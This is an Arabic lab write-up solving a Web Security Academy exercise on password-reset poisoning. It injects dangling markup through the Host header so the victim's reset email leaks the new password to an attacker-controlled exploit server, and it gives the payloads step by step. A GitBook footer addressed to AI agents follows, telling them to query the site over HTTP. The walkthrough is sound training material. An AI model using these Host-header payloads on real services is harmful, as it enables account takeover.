> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/host-header/password-reset-poisoning-via-dangling-markup.md).

# تسميم إعادة تعيين كلمة المرور عبر ترميز متدلي

### تسميم إعادة تعيين كلمة المرور عبر الوسوم المعلقة

**وصف المختبر**

هذا المعمل عرضةً لـ **تسميم إعادة تعيين كلمة المرور عبر الوسوم المعلقة**. / باستخدام إدارة HTML غير الصحيحة في رسالة إعادة التعيين، يمكن تحويل الرابط المرسل إلى المستخدم واسترجاع كلمة مروره الجديدة.

**الهدف:** تسجيل الدخول إلى **حساب كارلوس**.

**بيانات الاعتماد المقدمة:**

* المستخدم: `wiener`
* كلمة المرور: `peter`

<figure><img src="/files/611227101fdc8a85fb506a403cd5b251d03ed1c5" alt=""><figcaption></figcaption></figure>

يمكن عرض جميع رسائل البريد الإلكتروني عبر عميل البريد الإلكتروني للخادم المشغّل\*\*.

<figure><img src="/files/940f75edc6ba3811db6403bf091b20eeb43c2ffc" alt=""><figcaption></figcaption></figure>

**الملاحظة الأولية**

تتوفر ميزة إعادة تعيين كلمة المرور. / بعد الطلب، يتم إرسال رسالة بريد إلكتروني بتنسيق HTML بالمحتوى التالي:

{% code overflow="wrap" %}

```http
<p>مرحبًا!</p><p>يرجى <a href='https://0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net/login'>انقر هنا</a> لتسجيل الدخول باستخدام كلمة المرور الجديدة: AGSoZyzfot</p><p>شكرًا،<br/>فريق الدعم</p><i>تم فحص هذا البريد الإلكتروني بواسطة خدمة MacCarthy لأمن البريد الإلكتروني</i>
```

{% endcode %}

يتم إنشاء رابط الاتصال ديناميكيًا من **Host** ترويسة الطلب.

**التحليل السلوكي**

إذا غيّرت ترويسة Host لتتضمن منفذًا عشوائيًا:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234
```

يظهر المنفذ بشكل صحيح في البريد الإلكتروني المستلم. / يؤكد هذا أن قيمة **Host** مضمنة دون تحقق صارم في HTML الخاص بالبريد الإلكتروني.

<figure><img src="/files/5b212342b0eabbaa4e3418dfc7229b597ca1a9cc" alt=""><figcaption></figcaption></figure>

**الاستغلال عبر الوسوم المعلقة**

بعد ذلك يتم حقن قيمة Host تحتوي على فاصلة عليا، مما يؤدي إلى كسر سمة HTML:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234'HELLOO
```

يتم تفسير المحتوى بواسطة عميل البريد الإلكتروني، مما يشير إلى حقن HTML قابلة للاستخدام.

<figure><img src="/files/cb441834e1f7512daa125f0ab478f603907e91b2" alt=""><figcaption></figcaption></figure>

**الحمولة النهائية**

يُستغل هذا السلوك بفتح `<a href>` الوسم بشكل غير صحيح، بحيث يُفسَّر باقي محتوى البريد الإلكتروني (بما في ذلك كلمة المرور) على أنه جزء من عنوان URL:

```http
Host: 0a2e00ee040867fe812cd4f900e700cb.web-security-academy.net:1234' <a href="https://exploit-0aae00f3041e67018152d3fe010000c3.exploit-server.net/?
```

<figure><img src="/files/433c367e9dc35d1a53d08052427ad398ec96cc1c" alt=""><figcaption></figcaption></figure>

**النتيجة**

عندما يتم إنشاء البريد الإلكتروني وإرساله إلى **carlos**، يفسر عميل البريد الإلكتروني HTML المُحقن. / بعد ذلك تُضمَّن كلمة المرور الجديدة في عنوان URL وتُنقل تلقائيًا إلى الخادم **التشغيلي**.

يتم استرجاع كلمة مرور كارلوس من سجلات الخادم، مما يتيح لك تسجيل الدخول إلى حسابه والتحقق من صحة المختبر.

<figure><img src="/files/4322d7f1491f9435e6d751110cd2df2155e46308" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/host-header/password-reset-poisoning-via-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
